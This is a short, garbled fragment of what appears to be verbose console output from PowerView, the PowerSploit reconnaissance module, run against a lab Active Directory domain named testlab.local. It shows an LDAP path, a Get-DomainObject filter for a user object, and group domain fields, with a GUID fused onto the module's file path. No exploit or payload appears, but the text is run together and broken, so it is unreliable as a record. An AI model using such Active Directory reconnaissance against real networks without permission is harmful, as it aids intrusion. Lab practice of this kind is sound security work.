LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName 88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1